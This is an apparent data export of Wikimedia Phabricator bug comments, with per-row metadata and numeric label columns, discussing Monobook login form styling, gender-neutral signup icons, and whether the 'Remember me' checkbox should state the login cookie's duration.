+It was intentional? Why is it acceptable to use the blue and green in Vector but not in Monobook?",,,1367123933,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,1,0,1
+229881,User login and signup forms don't look great in Monobook,"The grey button was implemented under the theory that non-Vector users are likely to prefer a more low-key interface.
+
+The mediawiki.ui module (which implements these buttons) uses a ResourceLoader feature that allows different styles for each skin (which can even be more different than the two options currently are).
+
+However, we could consider using the same colors on Monobook if there is consensus to do so.",,,1367112236,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+229879,User login and signup forms don't look great in Monobook,"**swalling** wrote:
+
+We should improve with the styles regardless (we're tracking in https://trello.com/c/lmY261Rx), especially the button style, but this is not a blocker since the only way to view this version is to force it, or have your wiki set to Monobook as default.",,,1367022550,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+229875,User login and signup forms don't look great in Monobook,(To be clarify: my comment above is in reference to the grey background. I haven't investigated the button color yet.),,,1366937983,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+229869,User login and signup forms don't look great in Monobook,"The style is applied by Monobook, in skins/monobook/main.css:646. It is specific to #userloginForm and #userlogin, so it should be safe to drop when we make the new form the default.",,,1366937843,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+229864,User login and signup forms don't look great in Monobook,"Created attachment 12185
+Crude comparison of the ""new"" signup form in Vector vs. Monobook
+
+**Attached**: {F10979}",,,1366936107,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+49696,Use gender neutral icons on sign up and login pages,"**Author:** `Thehelpfulonewiki`
+
+**Description:**
+<https://en.wikipedia.org/w/index.php?title=Special:UserLogin&type=signup&returnto=Main+Page&useNew=1>. Please can we make the image on the left of the ""contributors this month"" text gender neutral (instead of the male one that it is now)?
+
+The same with <https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page&useNew=1>, the background image behind the ""Don't have an account"" text is not gender neutral.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1366935240,1369777489.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-6undaeeeawntrvjytn4b,task_description,resolved,True,c2,1,False,False,True,-18,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,0,1,0,0,0,0,1
+229753,Use gender neutral icons on sign up and login pages,"**swalling** wrote:
+
+Okay, with https://gerrit.wikimedia.org/r/#/c/65167/ we've taken a quick stab at this. The icons in both versions are pretty much neuter-looking.",,,1369777489,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6undaeeeawntrvjytn4b,task_subcomment,,True,c2,1,False,,,-14,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+229747,Use gender neutral icons on sign up and login pages,"I agree with Steven, its challenging to represent both genders.
+Adding a female torso would introduce the new problem around sizing & foreground.
+We could possibly fade the opacity of the torso's more so it stands out less.
+Would that help at all?",,,1367023806,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-6undaeeeawntrvjytn4b,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,0
+229739,Use gender neutral icons on sign up and login pages,"**swalling** wrote:
+
+These are as close as we're going to get I think, without resorting to cliches. 
+
+The usual alternative, trying to add an explicitly female torso, tends to involve adding pig tails or other ""long hair"" markers to the head. These are culturally pretty biased and I find them to so trite as to be almost offensive. I'm adding Vibha, our resident Interaction Designer, to this bug since Munaf has left the Wikimedia Foundation and she has a woman's perspective to add.",,,1367021261,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6undaeeeawntrvjytn4b,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+49694,"""Remember me"" on Login interface should state duration","**Author:** `Thehelpfulonewiki`
+
+**Description:**
+On <https://en.wikipedia.org/w/index.php?title=Special:UserLogin&useNew=1> next to the check box and the text ""Remember me"" the ""(for a maximum of 30 days)"" is missing. Perhaps we can shorten it to ""(for 30 days)"" or even ""(30 days)"".
+
+--------------------------
+**See Also**:
+{T62437}",Low,25.0,1366934820,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-a2sr77qzht3ylne4uods,task_description,open,True,c2,1,False,False,,-18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,1
+2458190,"""Remember me"" on Login interface should state duration",Oops.,,,1731990952,,PHID-USER-escte3psz5yfd2nj3jzr,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,585,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+2458188,"""Remember me"" on Login interface should state duration","No, @Dringsim is right, and MediaWiki.org also has an override :/ The base message in MediaWiki for 'userlogin-remembermypassword' is just ""Keep me logged in"": https://gerrit.wikimedia.org/g/mediawiki/core/+/REL1_43/languages/i18n/en.json#379 (but it takes an unused parameter `$1` that allows displaying the customized time).
+
+Sorry about that, I should have looked more closely. I didn't mean to restart an old discussion.",,,1731990854,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,585,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1
+2458182,"""Remember me"" on Login interface should state duration","No, it's not enwp's custom message: https://www.mediawiki.org/wiki/Special:UserLogin also shows it. Enwp overrode 365 days -> 1 year which is just a minor wording change .",,,1731990115,,PHID-USER-escte3psz5yfd2nj3jzr,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,585,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1
+2458173,"""Remember me"" on Login interface should state duration",">>! In T49694#10334425, @matmarex wrote:
+> The duration has been restored at some point, probably long ago, and the login form currently states something like ""Keep me logged in (for up to one year)"".
+> {F57719166}
+
+It's enwp's custom message (https://en.wikipedia.org/w/index.php?title=MediaWiki:Userlogin-remembermypassword&oldid=1097518371).",,,1731988908,,PHID-USER-zqgw7fq45yyq5tybsvfe,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,585,True,1,1,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,0,0,1,0,0,0,1
+2458151,"""Remember me"" on Login interface should state duration","The duration has been restored at some point, probably long ago, and the login form currently states something like ""Keep me logged in (for up to one year)"".
+{F57719166}",,,1731982020,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,585,True,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0
+833010,"""Remember me"" on Login interface should state duration",">>! In T49694#3136685, @waldyrious wrote:
+> I'm a bit confused by this issue. Judging by its title and description, isn't it the same as T62437? And if so, isn't it resolved already? If not, it probably needs clarification.
+
+I think it's just a relic of the bugzilla import; T62437 was apparently closed as a duplicate, not actually resolved, but that wasn't properly reflected in the status.",,,1490706714,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,186,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,1
+832983,"""Remember me"" on Login interface should state duration","I'm a bit confused by this issue. Judging by its title and description, isn't it the same as T62437? And if so, isn't it resolved already? If not, it probably needs clarification.",,,1490702200,,PHID-USER-uazrhtptdqudzoqfefsc,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,186,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+712667,"""Remember me"" on Login interface should state duration",">>! In T49694#2558468, @Mattflaschen-WMF wrote:
+> That is {T143019}.
+
+Sweet, thank you!",,,1471401198,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,155,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1
+712436,"""Remember me"" on Login interface should state duration",">>! In T49694#2551246, @Tgr wrote:
+>>>! In T49694#2551236, @MZMcBride wrote:
+>> I still think we should at least consider this idea. Do you think a separate task should be filed to focus on this (an auto-extending cookie expiry) specifically?
+> 
+> Sure.
+
+That is {T143019}.",,,1471378607,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,154,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,0,1,0,1,0,1,1
+711236,"""Remember me"" on Login interface should state duration",">>! In T49694#2551246, @Tgr wrote:
+>>>! In T49694#2550506, @matmarex wrote:
+>> The core default is 180 days.
+> 
+> Uh... I should probably have checked that first. Don't mind me then :)
+
+The value of `$wgCookieExpiration` has been 180 days since rMW7d7ebfc93a3721eba51c647ae705bdeab9307cb1 from August 2011. Wikimedia switched back to 30 days in rOMWCe28970a768b00e356d40725f174afd9b4abdef1b from March 2013.",,,1471129792,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,154,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,0,0,1,1,0,0,0,1,0,0,0,1
+711234,"""Remember me"" on Login interface should state duration",">>! In T49694#2550506, @matmarex wrote:
+> The core default is 180 days.
+
+Uh... I should probably have checked that first. Don't mind me then :)
+
+>>! In T49694#2551236, @MZMcBride wrote:
+> I still think we should at least consider this idea. Do you think a separate task should be filed to focus on this (an auto-extending cookie expiry) specifically?
+
+Sure.",,,1471127991,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,154,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,1,1,0,1,1,1,0,1,1,1,1,0,1,1,0,0,1,1,1,0,1,1
+711229,"""Remember me"" on Login interface should state duration",">>! In T49694#2550035, @Tgr wrote:
+> So I don't think any of those arguments are strong enough to overturn consensus.
+
+I'm not sure which consensus you're referring to overturning. The English Wikipedia continues to have ""Keep me logged in (for up to 30 days)"" at <https://en.wikipedia.org/wiki/Special:UserLogin>. I imagine other wikis do as well?
+
+If we removed the checkbox altogether, the duration discussion would become moot.
+
+>>! In T49694#2550035, @Tgr wrote:
+> * MediaWiki (or Wikimedia?) will change to indefinite password length, making the duration meaningless - that did not happen and AFAIK is not currently planned to happen
+
+I still think we should at least consider this idea. Do you think a separate task should be filed to focus on this (an auto-extending cookie expiry) specifically?
+
+> * Wikimedia is about to increase password length to 1 year (T68699) [...]
+
+I guess I'm behind on that task. When I last looked, I remember objections to setting such a long cookie.",,,1471127286,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,154,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1
+711170,"""Remember me"" on Login interface should state duration",">>! In T49694#2550035, @Tgr wrote:
+> There is no plan to change the core default of 30 days.
+
+The core default is 180 days.",,,1471104206,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,154,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1
+711070,"""Remember me"" on Login interface should state duration","To sum up the arguments against the change, and (IMO) the problems with them:
+* MediaWiki (or Wikimedia?) will change to indefinite password length, making the duration meaningless - that did not happen and AFAIK is not currently planned to happen
+* Wikimedia is about to increase password length to 1 year (T68699) which is long enough that it should be considered practically infinite - maybe, but that's not relevant for a discussion about a core change; at most it's a reason to hide the duration via WikimediaMessages or some similar mechanism, or display it selectively based on some limit. There is no plan to change the core default of 30 days.
+* other big sites don't do it - the examples were questionable: Facebook remembers users for a very long time (right now they use 90-day cookie expiration but extend the cookies whenever you visit). Google also remembers practically forever and only repeats the 2FA check and does show the duration there (screenshot: F4358485) although it might be different for users with no 2FA. (Did not check Twitter.)
+* //Our primary standard is for inclusion is, ""Is this actually necessary to log in?""// - that's clearly not the case, as the whole checkbox is unnecessary for login and nevertheless displayed. Helping users understand the system and make it seem less random is good UX.
+
+So I don't think any of those arguments are strong enough to overturn consensus.",,,1471054230,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,154,True,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0
+229660,"""Remember me"" on Login interface should state duration",*** Bug 70348 has been marked as a duplicate of this bug. ***,,,1411625205,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,56,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+229655,"""Remember me"" on Login interface should state duration","Created attachment 16479
+Google 2-factor ""remember me"" text
+
+(In reply to Matt Walker from comment #17)
+> (In reply to comment #15)
+> > ""Keep me logged in"" satisfies this need.
+> 
+> Keep me logged in implies perpetuity. Which is what triggers the confusion
+> when someone is logged out.
+> 
+> Look at a service like Gmail -- initially it says ""keep me logged in""
+> because it will. But if you have two factor auth; it then gives you a new
+> form that specifically says ""Remember this computer for 30 days.""
+
+Is this still the case?  This is a different use case anyway, because it's a distinct feature (this computer is particularly private, so I don't want to enter my 2-factor code every time) from the regular login screen.
+
+However, it looks like they're using (screenshot attached), ""Don't ask for codes again on this computer"" now unless we're considering different forms.
+
+**Attached**: {F10961}",,,1410846058,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,54,True,1,1,0,1,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+229649,"""Remember me"" on Login interface should state duration","**wmf.amgine3691** wrote:
+
+(In reply to comment #61)
+> (In reply to comment #60)
+> > 
+> > (In reply to comment #59)
+...snip
+> > > differ. This obviously supports the view that it would be unusual to present
+> > > this, and probably unnecessary.
+
+The above argument is the same argument as
+
+> > Many users are bothered, as the number of featured browser extensions with
+> > hundreds thousands users show:
+> > https://addons.mozilla.org/it/firefox/addon/betterprivacy/
+> > https://addons.mozilla.org/it/firefox/addon/anonymox/
+> > https://addons.mozilla.org/en/firefox/addon/self-destructing-cookies/
+
+And both arguments, being based on deduction, obviate this argument:
+
+> No one here has actually presented a real-world complaint from users, about
+> how
+> they can't use the login form because it doesn't precisely specify the length
+> of a login session. That's because it doesn't happen. 
+
+
+The rest of that comment was speculative (although I happen to agree with it.)
+
+The question is not about cookie life, but about displaying that cogently to the user. The real question is: is this a real problem? for some users it is because they have reported it as a problem. No one previously reported the existence of the text as a problem; it was a change made without an outside (user) instigation (at least, I never saw a bug report about it.)
+
+The heat in these comments suggests it's a real issue, too.",,,1391188609,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,22,True,1,0,0,1,1,1,1,1,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,1,1,1,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1
+229644,"""Remember me"" on Login interface should state duration","(In reply to comment #62)
+> We are discussing a core functionality if MediaWiki. I have the feesling that
+> you are talking about Wikipedia and the upcoming long term cookie for it
+> only.
+
+The MediaWiki default is 180 days already, which is sensible unlike the Wikimedia default which is currently 30 days.",,,1391084607,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,22,True,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+229638,"""Remember me"" on Login interface should state duration","(In reply to comment #61)
+> 
+> We're discussing about setting a long term login cookie for users who opt-in,
+> not auto-renewing cookies or any number of other scummy things in the post
+> you
+> link to. 
+
+We are discussing a core functionality if MediaWiki. I have the feesling that you are talking about Wikipedia and the upcoming long term cookie for it only.
+
+
+> No one here has actually presented a real-world complaint from users, about
+> how
+> they can't use the login form because it doesn't precisely specify the length
+> of a login session. 
+
+Probably because the latest MediaWiki release with the new login form is not very often deployed to third parties. Especially companies do not very often update a MediaWiki installation.
+
+And I can confirm, that some of the installations I care for are using very different cookie lifetime settings. Between some days and some weeks. Depending on the security rules of the company. But I am not able to link to them because most of them are in an intranet, not public available.",,,1391076510,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,22,True,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,1
+229631,"""Remember me"" on Login interface should state duration","**swalling** wrote:
+
+(In reply to comment #60)
+> 
+> (In reply to comment #59)
+> > I cannot find a _single_ good example of a login form which
+> > specifies
+> > an exact time limit on saved login sessions, even if cookie policies may
+> > differ. This obviously supports the view that it would be unusual to present
+> > this, and probably unnecessary.
+> 
+> As most arguments where Steven uses the word ""obviously"", this is IMHO a very
+> weak and disputable one. Cookies are one of the least honest businesses of
+> the
+> internet and few or no websites are straightforward with their users about
+> them
+> (though this is getting better in EU thanks to recent directives): however,
+> MediaWiki's ethical standards are higher than the average and we shouldn't
+> blindly follow bad practices, however common they might be.
+> Best example of dishonesty has always been Google (which triggered the EU
+> directive):
+> https://www.eff.org/deeplinks/2007/07/edition-privacy-theater-googles-cookie-
+> monster
+> http://edri.org/edrigramnumber5-15search-engine-privacy/
+> Many users are bothered, as the number of featured browser extensions with
+> hundreds thousands users show:
+> https://addons.mozilla.org/it/firefox/addon/betterprivacy/
+> https://addons.mozilla.org/it/firefox/addon/anonymox/
+> https://addons.mozilla.org/en/firefox/addon/self-destructing-cookies/
+> 
+
+We're discussing about setting a long term login cookie for users who opt-in, not auto-renewing cookies or any number of other scummy things in the post you link to. Users already get to decide. We're talking about how to choose the clearest language to describe the choice they're making. Matching user expectations by using similar language that is familiar to them from the same generic interface on other popular sites helps users make a decision quickly and without needing to read excess detail like ""keep me logged in for 180 days"".  
+
+No one here has actually presented a real-world complaint from users, about how they can't use the login form because it doesn't precisely specify the length of a login session. That's because it doesn't happen. Most users don't really care exactly how many days you remember them when they're trying to finish the login process quickly and without having to think much about it. They either want their session to expire, or to be remembered. (Yes, we all use MediaWiki. We're also all technical people commenting here, many of us people who submit patches. We don't represent what most average users need and expect.)",,,1391074978,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,22,True,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
+229622,"""Remember me"" on Login interface should state duration","I'm not sure whether this bug should be fixed or not, even though Isarra's compromise is sensible, because I agree that in an ideal world we'd just have a checkbox ""remind me forever"" with unanimous research telling us that N days feels exactly like forever/what the users think forever (or ""forever enough"") and MediaWiki would set expiry accordingly. However, I doubt this is possible: for some users ""forever"" is 2 years renewing at every visit (like Google), for others 1 week is already a painfully long time. See also below.
+
+This said, it seems Steven lacks an answer on this point:
+
+(In reply to comment #59)
+> I cannot find a _single_ good example of a login form which
+> specifies
+> an exact time limit on saved login sessions, even if cookie policies may
+> differ. This obviously supports the view that it would be unusual to present
+> this, and probably unnecessary.
+
